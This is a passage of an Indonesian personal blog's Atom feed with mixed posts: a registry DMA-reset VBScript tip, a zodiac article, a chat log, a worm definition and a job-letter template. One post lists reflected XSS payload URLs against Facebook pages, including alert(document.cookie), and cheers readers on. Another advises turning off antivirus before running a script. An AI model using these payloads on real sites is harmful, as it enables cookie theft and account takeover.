src='https://blogger.googleusercontent.com/tracker/475282690325446417-418345601881705936?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/418345601881705936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/418345601881705936'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/manfaat-jahe.html' title='Manfaat Jahe'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-897867175739872757</id><published>2010-02-12T16:09:00.002+07:00</published><updated>2010-02-20T05:01:26.142+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='komputer'/><title type='text'>resetting registry</title><content type='html'>masalah kritis yg bikin kompi jd lemot dan kacau&lt;br /&gt;eit jangan bingung dan panik setelah hari hari yang indah bersama kompi anda menjadi badmood.berikut ini cece coba trik :&lt;br /&gt;&lt;br /&gt;1. registry mungkin dah amburadul&lt;br /&gt;2. dma (direct memory access)mode telah berubah menjadi PIO (Processor Input Oputput)mode karena keseringan hang ato error, sehingga program tidak mengandalkan memory lg ttp memaksa kerja prosesor kerja bit per bit (mencapai 100 persen yg bisa bikin kompi panas bgt). Setiap crash/error DMA mode turun dr Ultra DMA mode 5.. 4.. 3.. hingga PIO. 6x crash = lemot.&lt;br /&gt;&lt;br /&gt;solusi :&lt;br /&gt;1. instal cc cleaner ato regcure&lt;br /&gt;&lt;br /&gt;http://www.indowebster.com/RegCure_1500.html&lt;br /&gt;&lt;br /&gt;scan lalu fix problems.&lt;br /&gt;&lt;br /&gt;2. masuk : control panel - system - hardware - device manager - IDE ATA/ATAPI controller - Primary IDE Channel - (klik 2x) - Advanced Setting - Device 0 dan Device 1 transfer modenya ubah mjd : DMA if available - OK.&lt;br /&gt;&lt;br /&gt;klo masih lambat/hang, download resettingdma.vbs dari:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://winhlp.com/node/10&lt;br /&gt;&lt;br /&gt;Download quick solution no.1 yg bertuliskan : Click here.&lt;br /&gt;File yg dah didonlot berformat .txt rename jd format .vbs&lt;br /&gt;dr situs itu, yg no 1, bag.click here; kan muncul seperti ini:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Visual Basic Script program to reset the DMA status of all ATA drives&lt;br /&gt;&lt;br /&gt;' Copyright © 2006 Hans-Georg Michna&lt;br /&gt;&lt;br /&gt;' Version 2007-04-04&lt;br /&gt;&lt;br /&gt;' Works in Windows XP, probably also in Windows 2000 and NT.&lt;br /&gt;' Does no harm if Windows version is incompatible.&lt;br /&gt;&lt;br /&gt;If MsgBox("This program will now reset the DMA status of all ATA drives with Windows drivers." _&lt;br /&gt;&amp; vbNewline &amp; "Windows will redetect the status after the next reboot, therefore this procedure" _&lt;br /&gt;&amp; vbNewline &amp; "should be harmless.", _&lt;br /&gt;vbOkCancel, "Program start message") _&lt;br /&gt;= vbOk Then&lt;br /&gt;&lt;br /&gt;RegPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Class\{4D36E96A-E325-11CE-BFC1-08002BE10318}\"&lt;br /&gt;ValueName1Master = "MasterIdDataChecksum"&lt;br /&gt;ValueName1Slave = "SlaveIdDataChecksum"&lt;br /&gt;ValueName2Master = "UserMasterDeviceTimingModeAllowed"&lt;br /&gt;ValueName2Slave = "UserSlaveDeviceTimingModeAllowed"&lt;br /&gt;ValueName3 = "ResetErrorCountersOnSuccess"&lt;br /&gt;MessageText = "The following ATA channels have been reset:"&lt;br /&gt;MessageTextLen0 = Len(MessageText)&lt;br /&gt;ConsecutiveMisses = 0&lt;br /&gt;Set WshShell = WScript.CreateObject("WScript.Shell")&lt;br /&gt;&lt;br /&gt;For i = 0 to 999&lt;br /&gt;RegSubPath = Right("000" &amp; i, 4) &amp; "\"&lt;br /&gt;&lt;br /&gt;' Master&lt;br /&gt;&lt;br /&gt;Err.Clear&lt;br /&gt;On Error Resume Next&lt;br /&gt;WshShell.RegRead RegPath &amp; RegSubPath &amp; ValueName1Master&lt;br /&gt;errMaster = Err.Number&lt;br /&gt;On Error Goto 0&lt;br /&gt;If errMaster = 0 Then&lt;br /&gt;On Error Resume Next&lt;br /&gt;WshShell.RegDelete RegPath &amp; RegSubPath &amp; ValueName1Master&lt;br /&gt;WshShell.RegDelete RegPath &amp; RegSubPath &amp; ValueName2Master&lt;br /&gt;On Error Goto 0&lt;br /&gt;MessageText = MessageText &amp; vbNewLine &amp; "Master"&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Slave&lt;br /&gt;&lt;br /&gt;Err.Clear&lt;br /&gt;On Error Resume Next&lt;br /&gt;WshShell.RegRead RegPath &amp; RegSubPath &amp; ValueName1Slave&lt;br /&gt;errSlave = Err.Number&lt;br /&gt;On Error Goto 0&lt;br /&gt;If errSlave = 0 Then&lt;br /&gt;On Error Resume Next&lt;br /&gt;WshShell.RegDelete RegPath &amp; RegSubPath &amp; ValueName1Slave&lt;br /&gt;WshShell.RegDelete RegPath &amp; RegSubPath &amp; ValueName2Slave&lt;br /&gt;On Error Goto 0&lt;br /&gt;If errMaster = 0 Then&lt;br /&gt;MessageText = MessageText &amp; " and "&lt;br /&gt;Else&lt;br /&gt;MessageText = MessageText &amp; vbNewLine&lt;br /&gt;End If&lt;br /&gt;MessageText = MessageText &amp; "Slave"&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If errMaster = 0 Or errSlave = 0 Then&lt;br /&gt;On Error Resume Next&lt;br /&gt;WshShell.RegWrite RegPath &amp; RegSubPath &amp; ValueName3, 1, "REG_DWORD"&lt;br /&gt;On Error Goto 0&lt;br /&gt;ChannelName = "unnamed channel " &amp; Left(RegSubPath, 4)&lt;br /&gt;On Error Resume Next&lt;br /&gt;ChannelName = WshShell.RegRead(RegPath &amp; RegSubPath &amp; "DriverDesc")&lt;br /&gt;On Error Goto 0&lt;br /&gt;MessageText = MessageText &amp; " of " &amp; ChannelName &amp; ";"&lt;br /&gt;ConsecutiveMisses = 0&lt;br /&gt;Else&lt;br /&gt;ConsecutiveMisses = ConsecutiveMisses + 1&lt;br /&gt;If ConsecutiveMisses &gt;= 32 Then Exit For ' Don't search unnecessarily long.&lt;br /&gt;End If&lt;br /&gt;Next ' i&lt;br /&gt;&lt;br /&gt;If Len(MessageText) &lt;= MessageTextLen0 Then MessageText = "No resettable ATA channels with Windows drivers found. Nothing changed." Else MessageText = MessageText &amp; vbNewline _ &amp; "Please reboot now to reset and redetect the DMA status." End If MsgBox MessageText, vbOkOnly, "Program finished normally" End If ' MsgBox(...) = vbOk ' End of Visual Basic Script program&lt;br /&gt;&lt;br /&gt;teknisnya sih bkn didonlot, tp di copas smua isi textnya ke notepad&lt;br /&gt;trus ntar setelah direname .txt jadi .vbs, iconnya ga notepad lg, tp icon VBscript file. pas rename, jgn lupa kosongkan centang utk Hide ekstensions for known file types di folder option - view.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;klo ikonnya dah berubah, klik 2x resetdma.vbs dan ada box menyarankan restart. setelah restart baru terasa performanya.&lt;br /&gt;sblm klik 2x ada bagusnya non aktifkan antivirus sementara, av bakal detect sbg malicious file krn script modifikasi registry.&lt;br /&gt;&lt;br /&gt;Cara ini jg membuat komp lama yg lambat dan terlalu bnyk program serasa kompi baru lg.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Selamat mencoba&lt;br /&gt;salam dai orang watumas&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-897867175739872757?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/897867175739872757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/897867175739872757'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/membuat-kompi-komputer-lemot-serasa.html' title='resetting registry'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-3834864197967772747</id><published>2010-02-10T19:16:00.002+07:00</published><updated>2010-02-10T19:16:36.705+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shio'/><title type='text'>tahun macan</title><content type='html'>Tahun 2010 merupakan tahun macan. Bagi warga Tionghoa, perhitungan tahun serta unsur yang ada dalam tahun itu sangat penting. Baik karier, usaha, jodoh, maupun lainnya bisa dilihat dari unsur yang dimiliki orang tersebut. Sudahkan Anda mengetahui unsur apa yang Anda miliki? Dan bagaimana peruntungan Anda di tahun macan?&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Pengurus Kelenteng Shio Sang Ting, Apong, menjelaskan perihal sio macan tahun 2010. Menurut perhitungan bangsa Tiongkok, mereka yang bershio macan adalah yang lahir pada 1902, 1914, 1926, 1938, 1950, 1962, 1974, 1986, 1998, dan 2010. walaupun perhitungan shio itu penting, angka tahun atau shio tidak banyak memengaruhi. “Tahun itu tidak begitu berpengaruh, mau shio macan, anjing, ayam, atau lainnya, tidak berpengaruh,” katanya. &lt;br /&gt;&lt;br /&gt;Namun kalau dilihat, karakter macan adalah keras, ingin menguasai, dan tidak ingin kalah, mungkin akan mengiringi tahun sepanjang 2010. Persaingan ketat dengan kekuatan dan kekuasaan juga merupakan tabiat yang dimiliki macan. Tahun ini yang lebih mendominasi adalah unsur kayu. &lt;br /&gt;&lt;br /&gt;Orang yang memiliki shio macan dengan unsur kayu memiliki sifat toleran, bekerja keras, dan mudah bergaul dengan segala lapisan, pandai menarik simpati teman atau pendukung, dan mampu mendamaikan pihak yang berselisih. Namun shio macan dengan unsur kayu juga memiliki sifat egois. Ia gesit dalam membagi tugas, terampil memberi perintah, dan menyatukan banyak suara untuk satu tujuan. Ia tidak terlalu ngoyo, tetapi tidak mau mengakui keterbatasan dirinya. Semua shio macan memang tidak sanggup menghadapi kritik. Bahkan ia pun tidak peduli dengan seberapa konstruktif kritik tersebut disampaikan orang lain kepadanya.&lt;br /&gt;&lt;br /&gt;Menurut Apong, ramalan-ramalan tersebut sifatnya sangat umum. Di kebanyakan buku ataupun ramalan shio, memang banyak dijelaskan hal-hal seperti itu. Akan tetapi sebetulnya angka tahun kelahiran atau shio itu hanya sebagian kecil dari penentuan karakter, sifat, atau nasib seseorang. “Banyak yang menjelaskan sifat karakter berdasarkan shio, tapi itu kebenarannya hanya beberapa persen saja,” imbuhnya. &lt;br /&gt;&lt;br /&gt;Dalam ramalan China, kata Apong,  yang lebih diperhitungkan adalah unsur yang mewarnai tahun tersebut. Keberuntungan, nasib, jodoh, dan lainnya tergantung unsur yang dimiliki orang tersebut. “Yang penting itu unsurnya, bukan tahunnya,” katanya. &lt;br /&gt;&lt;br /&gt;Secara umum ada lima unsur yang melekat pada diri seseorang, yaitu unsur air, unsur api, unsur logam, dan unsur tanah. Untuk menentukan unsur, dilihat berdasarkan tanggal, hari, dan jam lahir seseorang. “Bisa saja lahir pada tahun macan, tapi unsurnya tetap berbeda,” katanya. &lt;br /&gt;&lt;br /&gt;Dicontohkan, ada orang yang lahir pada tahun macan, tapi unsur yang melekat pada dirinya adalah unsur api. Begitu sebaliknya, ada yang lahir pada tahun ayam, tapi unsur yang ada pada dirinya juga unsur api. “Kalau seperti ini ada kemiripan,” kata Apong. &lt;br /&gt;&lt;br /&gt;Walaupun tahunnya sama, tapi unsur yang ada pada mereka berbeda, mereka akan memiliki nasib berbeda pula. Ada orang yang shionya sama, tapi yang satu susah, yang satu senang, pasti unsurnya berbeda. “Makanya yang penting itu unsurnya, bukan shio,” ujarnya. &lt;br /&gt;&lt;br /&gt;Begitu juga penentuan jodoh yang tepat, harus melihat unsur yang ada. “Unsur yang dimiliki setiap orang dibagi lagi menjadi dua. Ada yang lemah dan ada yang kuat. Yang unsurnya kuat tidak bisa cocok dengan orang yang unsurnya kuat atau sebaliknya,” jelas Apong. &lt;br /&gt;&lt;br /&gt;Unsur kayu kuat atau besar tidak cocok dengan unsur api. Kayu yang besar bila disatukan dengan api, kayu akan terbakar dan api akan besar. Artinya, jika orang dengan unsur kayu disatukan dengan yang unsur api, tidak akan cocok. Hidup bisa susah dan tidak maju. &lt;br /&gt;&lt;br /&gt;Yang cocok untuk orang memiliki unsur kayu kuat adalah unsur logam dan unsur tanah. Kayu dicampur logam bisa menghasilkan suatu benda lain dengan nilai tinggi, kayu bisa bisa hidup di tanah. Untuk menentukan unsur yang dimiliki seseorang harus diramal secara khusus dengan melihat jam lahir, hari, tahun, dan tanggal. &lt;br /&gt;&lt;br /&gt;Tahun macan juga merupakan keberuntungan bagi mereka yang bershio kuda dan anjing. Yang harus berhati-hati adalah mereka yang bershio ular, monyet, dan babi. Namun bagi shio lain, seperti kerbau, tidak menjadi persoalan berarti. Bahkan kalau unsurnya cocok, akan mendapatkan keberuntungan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-3834864197967772747?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3834864197967772747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3834864197967772747'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/tahun-macan.html' title='tahun macan'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-3660942267458516301</id><published>2010-02-08T05:44:00.000+07:00</published><updated>2010-02-08T05:44:20.646+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='my contact'/><title type='text'>2nd contact</title><content type='html'>cece: ni fotona farras eia.....&lt;br /&gt;itsnaihyana is requesting your contact details.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;itsnaihyana: iya...&lt;br /&gt;&lt;br /&gt;cece: umur brp bu...&lt;br /&gt;&lt;br /&gt;cece: bru liyat...cantik eia...&lt;br /&gt;&lt;br /&gt;itsnaihyana: 8 bulan...&lt;br /&gt;&lt;br /&gt;cece: ought......maem na pa..&lt;br /&gt;&lt;br /&gt;itsnaihyana: kalo cewek yo cantik to?&lt;br /&gt;&lt;br /&gt;cece: hehe&lt;br /&gt;&lt;br /&gt;itsnaihyana: sekarang cuman bubur sama tim aja...&lt;br /&gt;&lt;br /&gt;itsnaihyana: mauny c apa2 dimakan..h3&lt;br /&gt;&lt;br /&gt;cece: tim belut kt na bagus wat pertumbuhan&lt;br /&gt;&lt;br /&gt;itsnaihyana: hyaa......bundanya yang ngeri&lt;br /&gt;&lt;br /&gt;cece: ih betul&lt;br /&gt;&lt;br /&gt;cece: ustad q dlu anakna prematur&lt;br /&gt;&lt;br /&gt;cece: trus..... dikasih tim belut sawah&lt;br /&gt;&lt;br /&gt;cece: bukan belut pasar&lt;br /&gt;itsnaihyana: &lt;br /&gt;&lt;br /&gt;cece: he.eh....pengalaman ustad&lt;br /&gt;&lt;br /&gt;cece: drpd tim ati ayam&lt;br /&gt;&lt;br /&gt;cece: napa suka invis bu,....?&lt;br /&gt;&lt;br /&gt;itsnaihyana: invis?&lt;br /&gt;&lt;br /&gt;cece: invisible to me....&lt;br /&gt;&lt;br /&gt;itsnaihyana: g, biasa aja..&lt;br /&gt;&lt;br /&gt;cece: ough mls di ganggu fans eia...&lt;br /&gt;&lt;br /&gt;itsnaihyana: itu biasa kok...&lt;br /&gt;&lt;br /&gt;itsnaihyana: biasa....&lt;br /&gt;&lt;br /&gt;cece: he.eh...ma'lum sibuk.....&lt;br /&gt;&lt;br /&gt;cece: boleh simpan pic na&lt;br /&gt;&lt;br /&gt;cece: farras&lt;br /&gt;&lt;br /&gt;itsnaihyana: boleh aja, asal jangan buat pengusir nyamuk&lt;br /&gt;&lt;br /&gt;cece: buat semangat idup...&lt;br /&gt;&lt;br /&gt;itsnaihyana: weh...hubungannya apa?&lt;br /&gt;&lt;br /&gt;cece: anak segitu lum pnya dosa.....&lt;br /&gt;cece: berat brp farras&lt;br /&gt;&lt;br /&gt;itsnaihyana: berapa ya??? hihiii&lt;br /&gt;&lt;br /&gt;cece: kyna endut eia..&lt;br /&gt;&lt;br /&gt;cece: susterna org mn???&lt;br /&gt;&lt;br /&gt;itsnaihyana: Lemayan...&lt;br /&gt;&lt;br /&gt;cece: lho..&lt;br /&gt;&lt;br /&gt;cece: babysitterna org mana???&lt;br /&gt;&lt;br /&gt;itsnaihyana: bisa bikin encok eyangnya&lt;br /&gt;&lt;br /&gt;cece: ough eyang "balong"..../....?&lt;br /&gt;&lt;br /&gt;itsnaihyana: ga pake kok....&lt;br /&gt;&lt;br /&gt;cece: mph.....&lt;br /&gt;&lt;br /&gt;cece: tinggal di bjrngr.....&lt;br /&gt;&lt;br /&gt;cece: ato balong&lt;br /&gt;&lt;br /&gt;itsnaihyana: Sebentar ya ... aku lagi sibuk ni&lt;br /&gt;&lt;br /&gt;cece: sila......anda terus.......tq&lt;br /&gt;cece: &lt;br /&gt;itsnaihyana: kerjaan gada abisnya nih...&lt;br /&gt;&lt;br /&gt;itsnaihyana has unloaded the IMVironment.&lt;br /&gt;&lt;br /&gt;cece: klu abis.....= yaum ahir&lt;br /&gt;&lt;br /&gt;cece: dunk&lt;br /&gt;cece: kek 2012 geto&lt;br /&gt;&lt;br /&gt;itsnaihyana: weh....iya to?&lt;br /&gt;&lt;br /&gt;cece: kira2&lt;br /&gt;&lt;br /&gt;cece: bentar lg 25 des eia&lt;br /&gt;&lt;br /&gt;cece: &lt;br /&gt;itsnaihyana: mau ngrayain natal?&lt;br /&gt;&lt;br /&gt;cece: hlah ky gag teu ajah&lt;br /&gt;&lt;br /&gt;cece: ....&lt;br /&gt;cece: hari gni susah pny rahasia bu.....&lt;br /&gt;&lt;br /&gt;itsnaihyana: ingetnya hari libur kan&lt;br /&gt;cece: hiya.....gag juag&lt;br /&gt;&lt;br /&gt;cece: pelanggaran privasi da delik hukum na gag....&lt;br /&gt;&lt;br /&gt;cece: bu,...&lt;br /&gt;itsnaihyana: ada&lt;br /&gt;&lt;br /&gt;cece: punya copy uu IT...????&lt;br /&gt;&lt;br /&gt;cece: lo donlot dmn (link)....&lt;br /&gt;&lt;br /&gt;itsnaihyana: cari aja google&lt;br /&gt;&lt;br /&gt;cece: lah ...gag ktm&lt;br /&gt;&lt;br /&gt;cece: gugel banyak sampah&lt;br /&gt;&lt;br /&gt;cece: pak wahid merid ma org mn..???&lt;br /&gt;&lt;br /&gt;itsnaihyana: kalo ditanya itu aku bingung jawabnya. yang jelas sama adeknya mas dolly. masih inget ga?&lt;br /&gt;&lt;br /&gt;itsnaihyana: kamu sendiri sama orang mana&lt;br /&gt;&lt;br /&gt;cece: ought....gtu....aku msh sukses........batal kawin&lt;br /&gt;&lt;br /&gt;itsnaihyana: maknyusnya??&lt;br /&gt;&lt;br /&gt;cece: gag teu juag yah minta tambah do'a nya....dr bu itsna seklg..&lt;br /&gt;&lt;br /&gt;cece: q ragu 2 teruuuus&lt;br /&gt;&lt;br /&gt;cece: gag punya jada...wa jada&lt;br /&gt;&lt;br /&gt;cece: &lt;br /&gt;&lt;br /&gt;itsnaihyana: perasaan kalo ga salah inget dulu lebaran mau nikah&lt;br /&gt;&lt;br /&gt;cece: iyah......emang...sampe lebaran haji dh lewat...&lt;br /&gt;&lt;br /&gt;cece: maw gmn lagi............ortu karep diriku gag karep&lt;br /&gt;&lt;br /&gt;itsnaihyana: emang kenapa?&lt;br /&gt;&lt;br /&gt;itsnaihyana: tunggu apa lagi&lt;br /&gt;&lt;br /&gt;cece: selalu da kekurangan.....&lt;br /&gt;&lt;br /&gt;cece: pdhl di belakangna bnyk yg lebih.....jd tunggu dan liat berikutna.......(salah yah)&lt;br /&gt;&lt;br /&gt;cece: jelek dan bikin dosa.......&lt;br /&gt;&lt;br /&gt;cece: heran lo skrg gag pgn nikah tp pgn punya anak......np yah&lt;br /&gt;&lt;br /&gt;cece: lebih membahagiakan anak drpd ...... istri X ya&lt;br /&gt;itsnaihyana: &lt;br /&gt;cece: &lt;br /&gt;itsnaihyana: belum menemukan yang sreg aja kali...&lt;br /&gt;&lt;br /&gt;cece: kek na gt deh....( lbh bhg pny anak,drpd bhg na pny istri)&lt;br /&gt;cece: normal gag&lt;br /&gt;&lt;br /&gt;itsnaihyana: tapi kalo nunggu yang sesuai keinginan kita yo ga nemu2&lt;br /&gt;&lt;br /&gt;cece: mank gt yah&lt;br /&gt;&lt;br /&gt;itsnaihyana: ga ada yang sempurna di hadapan kita&lt;br /&gt;&lt;br /&gt;cece: cara meminimal   ragu gmn tuh&lt;br /&gt;&lt;br /&gt;cece: wew touching&lt;br /&gt;&lt;br /&gt;cece: ...............&lt;br /&gt;&lt;br /&gt;itsnaihyana: &lt;br /&gt;&lt;br /&gt;cece: ga ada yang sempurna di hadapan kita&lt;br /&gt;cece: ga ada yang sempurna di hadapan kita&lt;br /&gt;cece: ga ada yang sempurna di hadapan kita&lt;br /&gt;&lt;br /&gt;cece: b'arti ilya jug udah ya..&lt;br /&gt;&lt;br /&gt;cece: ma org mn..???&lt;br /&gt;&lt;br /&gt;itsnaihyana: dilanjutin nanti lgi ya?&lt;br /&gt;&lt;br /&gt;itsnaihyana: sholat dulu...&lt;br /&gt;&lt;br /&gt;itsnaihyana: dah ada panggilan&lt;br /&gt;&lt;br /&gt;cece: tabarukan ya&lt;br /&gt;&lt;br /&gt;itsnaihyana has signed out. (12/16/2009 12:15 PM)&lt;br /&gt;&lt;br /&gt;cece: http://www.invisible-scanner.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-3660942267458516301?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3660942267458516301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3660942267458516301'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/2nd-contact.html' title='2nd contact'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-4019719110731042371</id><published>2010-02-07T03:25:00.000+07:00</published><updated>2010-02-07T03:25:51.289+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Serangan berikut</title><content type='html'>Serangan berikut masih sangat mungkin untuk dikembangkan untuk melacak vuln pada facebook.&lt;br /&gt;&lt;br /&gt;XSS facebook pertama yang vuln pada fasilitas “Lupa Password”:&lt;br /&gt;XSS:&lt;br /&gt;http://www.facebook.com/reset.php?locale=en_GB%22%3E%3Cscript%3Ealert(1)%3C/script%3E%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&lt;br /&gt;Mirror : http://www.xssed.com/mirror/55951/&lt;br /&gt;&lt;br /&gt;Halaman Login :&lt;br /&gt;https://login.facebook.com/login.php?iphone&amp;next=http%3A%2F%2Fiphone.facebook.com%2F&lt;br /&gt;&lt;br /&gt;POST:&lt;br /&gt;&lt;br /&gt;email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&amp;pass=greetz2evilghost&amp;next=http%3A%2F%2Fiphone.facebook.com%2F&amp;login=Login&lt;br /&gt;&lt;br /&gt;Salah satu aplikasi facebook :&lt;br /&gt;http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E&lt;br /&gt;&lt;br /&gt;Kemungkinan serangan melalui XSS ini masih sangat rentan, apalagi dengan banyaknya aplikasi facebook yang berjubel semakin memudahkan para hacker mengembangkan serangan.&lt;br /&gt;&lt;br /&gt;Mari berkarya :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-4019719110731042371?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4019719110731042371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4019719110731042371'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/serangan-berikut.html' title='Serangan berikut'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1855831560462275025</id><published>2010-02-07T03:23:00.000+07:00</published><updated>2010-02-07T03:23:16.646+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>worm</title><content type='html'>Cacing komputer (Inggris: worm) dalam keamanan komputer, adalah sebuah program komputer yang dapat menggandakan dirinya secara sendiri dalam sistem komputer. Sebuah worm dapat menggandakan dirinya dengan memanfaatkan jaringan (LAN/WAN/Internet) tanpa perlu campur tangan dari user itu sendiri. Worm tidak seperti virus komputer biasa, yang menggandakan dirinya dengan cara menyisipkan program dirinya pada program yang ada dalam komputer tersebut, tapi worm memanfaatkan celah keamanaan yang memang terbuka atau lebih dikenal dengan sebutan vulnerability. Beberapa worm juga menghabiskan bandwidth yang tersedia. Worm merupakan evolusi dari virus komputer. Hanya ada satu cara untuk mengatasi worm yaitu dengan menutup celah keamanan yang terbuka tersebut, dengan cara meng-update patch atau Service Pack dari operating sistem yang digunakan dengan patch atau Service Pack yang paling terbaru.&lt;br /&gt;&lt;br /&gt;Virus komputer memang dapat menginfeksi berkas-berkas dalam sebuah sistem komputer, tapi worm dapat melakukannya dengan lebih baik. Selain dapat menyebar dalam sebuah sistem, worm juga dapat menyebar ke banyak sistem melalui jaringan yang terhubung dengan sistem yang terinfeksi. Beberapa worm, juga dapat mencakup kode-kode virus yang dapat merusak berkas, mencuri dokumen, e-mail, atau melakukan hal lainnya yang merusak, atau hanya menjadikan sistem terinfeksi tidak berguna.&lt;br /&gt;&lt;br /&gt;Beberapa contoh dari worm adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    * ADMw0rm: Worm yang dapat melakukan ekspolitasi terhadap layanan jaringan Berkeley Internet Name Domain (BIND), dengan melakukan buffer-overflow.&lt;br /&gt;    * Code Red: Worm yang dapat melakukan eksploitasi terhadap layanan Internet Information Services (IIS) versi 4 dan versi 5, dengan melakukan serangan buffer-overflow.&lt;br /&gt;    * LoveLetter: Worm yang menyebar dengan cara mengirimkan dirinya melalui e-mail kepada semua akun yang terdaftar dalam Address Book Microsoft Outlook Express/daftar kontak dalam Microsoft Outlook dengan cara menggunakan kode Visual Basic Script (VBScript).&lt;br /&gt;    * Nimda&lt;br /&gt;    * SQL-Slammer&lt;br /&gt;&lt;br /&gt;Wikipedia Encyclopedia&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1855831560462275025?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1855831560462275025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1855831560462275025'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/worm.html' title='worm'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1241867836259772592</id><published>2010-02-05T18:00:00.000+07:00</published><updated>2010-02-05T18:00:10.241+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='surat menyurat'/><title type='text'>contoh surat lamaran kerja</title><content type='html'>Purwokerto, 29 Agustus 2007&lt;br /&gt;&lt;br /&gt;Hal : Lamaran Pekerjaan&lt;br /&gt;&lt;br /&gt;Kepada Yth.,&lt;br /&gt;Manajer Sumber Daya Manusia&lt;br /&gt;PT. Gilland Ganesha&lt;br /&gt;Jl. Raya Kebon Durian No. 11&lt;br /&gt;Jakarta Timur&lt;br /&gt;&lt;br /&gt;Dengan hormat,&lt;br /&gt;&lt;br /&gt;Sesuai dengan penawaran lowongan pekerjaan dari PT. Gilland Ganesha, seperti yang termuat di harian Kompas 